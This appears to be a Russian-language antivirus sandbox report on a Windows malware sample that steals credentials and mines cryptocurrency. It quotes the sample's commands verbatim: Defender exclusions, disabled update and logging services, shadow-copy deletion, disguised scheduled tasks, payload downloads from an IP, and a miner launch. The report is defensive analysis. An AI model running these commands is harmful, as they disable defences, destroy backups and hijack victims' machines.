Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\onedrive startup task-s-2-5-25
- <SYSTEM32>\tasks\microsoftedgeupdatetaskmachinecore64
Вредоносные функции
Для затруднения выявления своего присутствия в системе
блокирует запуск следующих системных утилит:
- Обновления системы (Windows Update)
- Системный антивирус (Защитник Windows)
удаляет теневые копии разделов.
добавляет исключения антивируса:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:\Users\'; Add-MpPreference -ExclusionPath '%ALLUSERSPROFILE%\'; Add-MpPreference -ExclusionPath '%WINDIR%\'
Внедряет код в
следующие системные процессы:
- %WINDIR%\syswow64\dialer.exe
- <SYSTEM32>\dllhost.exe
следующие пользовательские процессы:
- wmprph.exe
Ищет ветки реестра, отвечающие за хранение паролей сторонними программами
- [HKCU\SOFTWARE\FTPWare\CoreFTP\Sites]
- [HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook]
- [HKCU\Software\SimonTatham\PuTTY\Sessions]
- [HKCU\Software\Wow6432Node\SimonTatham\PuTTY\Sessions]
- [HKCU\Software\RIT\The Bat!]
- [HKLM\SOFTWARE\Wow6432Node\Ghisler\Total Commander]
Читает файлы, отвечающие за хранение паролей сторонними программами
- %LOCALAPPDATA%\google\chrome\user data\default\web data
- %LOCALAPPDATA%\google\chrome\user data\default\login data
- %LOCALAPPDATA%\google\chrome\user data\default\cookies
Изменения в файловой системе
Создает следующие файлы
- %LOCALAPPDATA%\microsoft\c4l-13m~mp.exe
- %LOCALAPPDATA%\microsoft\bs-in6.exe
- %APPDATA%\microsoft\oobe.{d20ea4e1-3957-11d2-a40b-0c5020524153}\useroobebroker.exe
- %APPDATA%\microsoft\oobe.{d20ea4e1-3957-11d2-a40b-0c5020524153}\log_930a7512.txt
- %APPDATA%\microsoft\oobe.{d20ea4e1-3957-11d2-a40b-0c5020524153}\log_62afaa86.txt
- %APPDATA%\microsoft\oobe.{d20ea4e1-3957-11d2-a40b-0c5020524153}\log_3d855d5b.txt
- %APPDATA%\microsoft\oobe.{d20ea4e1-3957-11d2-a40b-0c5020524153}\log_75e65dfc.txt
- %APPDATA%\microsoft\oobe.{d20ea4e1-3957-11d2-a40b-0c5020524153}\datafolder_2fa6b944\file_f35d1654.txt
- %APPDATA%\microsoft\oobe.{d20ea4e1-3957-11d2-a40b-0c5020524153}\datafolder_dfc9bfce\file_ce9e3842.txt
- %APPDATA%\microsoft\oobe.{d20ea4e1-3957-11d2-a40b-0c5020524153}\datafolder_dfc9bfce\file_e5b4b3d7.txt
- %APPDATA%\microsoft\oobe.{d20ea4e1-3957-11d2-a40b-0c5020524153}\datafolder_71bf236f\file_b6726524.txt
- %APPDATA%\microsoft\oobe.{d20ea4e1-3957-11d2-a40b-0c5020524153}\datafolder_b6f2dc81\file_344e63f6.txt
- %APPDATA%\microsoft\oobe.{d20ea4e1-3957-11d2-a40b-0c5020524153}\datafolder_b6f2dc81\file_f89ab856.txt
- %APPDATA%\microsoft\oobe.{d20ea4e1-3957-11d2-a40b-0c5020524153}\datafolder_b6f2dc81\file_40b4142a.txt
- nul
- %ALLUSERSPROFILE%\microsoft\winmsips.{208d2c60-3aea-1069-a2d7-08002b30309d}\wmiprvse.exe
Удаляет следующие файлы
- %LOCALAPPDATA%\microsoft\bs-in6.exe
- <SYSTEM32>\reagentc.exe
- %LOCALAPPDATA%\microsoft\c4l-13m~mp.exe
Самоудаляется.
Сетевая активность
Подключается к
- 'cl####lare-dns.com':443
- '94.#6.90.16':1888
- '66.##.187.190':80
- '45.##1.233.252':44133
TCP
Запросы HTTP GET
- http://66.##.187.190/work/addon.exe
- http://66.##.187.190/work/addon2.exe
Другие
- 'cl####lare-dns.com':443
- '94.#6.90.16':1888
- '45.##1.233.252':44133
UDP
- DNS ASK cl####lare-dns.com
- DNS ASK x.##.#in.ntt.net
- DNS ASK ti####-g.nist.gov
- DNS ASK po##.ntp.org
- DNS ASK nt#.#ime.in.ua
- DNS ASK time.google.com
- DNS ASK ti##.apple.com
- DNS ASK nt#.nict.jp
- 'po##.ntp.org':123
- 'ti####-g.nist.gov':123
- 'x.##.#in.ntt.net':123
- 'time.windows.com':123
- 'ti##.apple.com':123
- 'time.google.com':123
- 'nt#.nict.jp':123
- 'nt#.#ime.in.ua':123
Другое
Ищет следующие окна
- ClassName: '#32770' WindowName: 'TeamViewer'
Создает и запускает на исполнение
- '%LOCALAPPDATA%\microsoft\c4l-13m~mp.exe'
- '%LOCALAPPDATA%\microsoft\bs-in6.exe'
- '%ALLUSERSPROFILE%\microsoft\winmsips.{208d2c60-3aea-1069-a2d7-08002b30309d}\wmiprvse.exe'
- '%APPDATA%\microsoft\oobe.{d20ea4e1-3957-11d2-a40b-0c5020524153}\useroobebroker.exe'
Запускает на исполнение
- '%WINDIR%\syswow64\dialer.exe'
- '<SYSTEM32>\dllhost.exe'
- '<SYSTEM32>\cmd.exe' /C net session
- '<SYSTEM32>\net.exe' session
- '<SYSTEM32>\net1.exe' session
- '%ProgramFiles%\windows media player\wmprph.exe'
- '<SYSTEM32>\cmd.exe' /c schtasks /create /tn "OneDrive Startup Task-S-2-5-25" /tr "%APPDATA%\Microsoft\oobe.{D20EA4E1-3957-11D2-A40B-0C5020524153}\UserOOBEBroker.exe" /sc minute /mo 1 /it /F
- '<SYSTEM32>\schtasks.exe' /create /tn "OneDrive Startup Task-S-2-5-25" /tr "%APPDATA%\Microsoft\oobe.{D20EA4E1-3957-11D2-A40B-0C5020524153}\UserOOBEBroker.exe" /sc minute /mo 1 /it /F
- '<SYSTEM32>\cmd.exe' /c timeout 5 >nul && del "%LOCALAPPDATA%\Microsoft\BS-IN6.exe"
- '<SYSTEM32>\timeout.exe' 5
- '<SYSTEM32>\sc.exe' stop wuauserv
- '<SYSTEM32>\sc.exe' stop UsoSvc
- '<SYSTEM32>\sc.exe' stop bits
- '<SYSTEM32>\sc.exe' stop dosvc
- '<SYSTEM32>\sc.exe' stop WaaSMedicSvc
- '<SYSTEM32>\sc.exe' stop eventlog
- '<SYSTEM32>\sc.exe' config wuauserv start= disabled
- '<SYSTEM32>\sc.exe' config UsoSvc start= disabled
- '<SYSTEM32>\sc.exe' config bits start= disabled
- '<SYSTEM32>\sc.exe' config dosvc start= disabled
- '<SYSTEM32>\sc.exe' config WaaSMedicSvc start= disabled
- '<SYSTEM32>\sc.exe' config eventlog start= disabled
- '<SYSTEM32>\cmd.exe' /C rmdir /S /Q "C:\\inetpub"
- '<SYSTEM32>\cmd.exe' /c wusa /uninstall /kb:890830 /quiet /norestart
- '<SYSTEM32>\wusa.exe' /uninstall /kb:890830 /quiet /norestart
- '<SYSTEM32>\cmd.exe' /c "reagentc.exe /disable && takeown /f "<SYSTEM32>\reagentc.exe" && icacls "<SYSTEM32>\reagentc.exe" /grant administrators:F && del /f /q "<SYSTEM32>\reagentc.exe"
- '<SYSTEM32>\reagentc.exe' /disable
- '<SYSTEM32>\takeown.exe' /f "<SYSTEM32>\reagentc.exe"
- '<SYSTEM32>\icacls.exe' "<SYSTEM32>\reagentc.exe" /grant administrators:F
- '<SYSTEM32>\cmd.exe' /c powercfg /setactive 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c && powercfg /x -standby-timeout-ac 0 && powercfg /x -standby-timeout-dc 0 && powercfg /x -hibernate-timeout-ac 0 && powercfg /x -hibe... (со скрытым окном)
- '<SYSTEM32>\powercfg.exe' /setactive 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-ac 0
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-dc 0
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-ac 0
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-dc 0
- '<SYSTEM32>\powercfg.exe' /x -monitor-timeout-ac 0
- '<SYSTEM32>\powercfg.exe' /x -monitor-timeout-dc 0
- '<SYSTEM32>\cmd.exe' /c vssadmin delete shadows /all /quiet (со скрытым окном)
- '<SYSTEM32>\schtasks.exe' /create /sc onstart /tn "MicrosoftEdgeUpdateTaskMachineCore64" /tr "%ALLUSERSPROFILE%\Microsoft\WinMSIPS.{208D2C60-3AEA-1069-A2D7-08002B30309D}\WmiPrvSE.exe" /ru "system" /rl highest /f (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c timeout /t 15 && schtasks.exe /run /tn "MicrosoftEdgeUpdateTaskMachineCore64" (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c timeout /t 5 /nobreak >nul & del /F /Q "%LOCALAPPDATA%\Microsoft\c4L-13M~mP.exe" (со скрытым окном)
- '<SYSTEM32>\timeout.exe' /t 15
- '<SYSTEM32>\timeout.exe' /t 5 /nobreak
- '<SYSTEM32>\schtasks.exe' /run /tn "MicrosoftEdgeUpdateTaskMachineCore64"
- '<SYSTEM32>\taskeng.exe' {4192D364-9CDD-4CFE-98C2-A423AFA2C315} S-1-5-21-3691498038-2086406363-2140527554-1000:ziyribvx\user:Interactive:[1]
- '<SYSTEM32>\cmd.exe' /c schtasks /query /tn "OneDrive Startup Task-S-2-5-25"
- '<SYSTEM32>\schtasks.exe' /query /tn "OneDrive Startup Task-S-2-5-25"
- '%ALLUSERSPROFILE%\microsoft\winmsips.{208d2c60-3aea-1069-a2d7-08002b30309d}\wmiprvse.exe' (со скрытым окном)
- '%APPDATA%\microsoft\oobe.{d20ea4e1-3957-11d2-a40b-0c5020524153}\useroobebroker.exe' (со скрытым окном)
- '<SYSTEM32>\config\systemprofile\appdata\roaming\microsoft\winmslpc.{208d2c60-3aea-1069-a2d7-08002b30309d}\widgetservice.exe' -o corepulse988.com:443 --tls --cpu-priority=5 --randomx-no-rdmsr --cpu-max-threads-hint=50 (со скрытым окном)
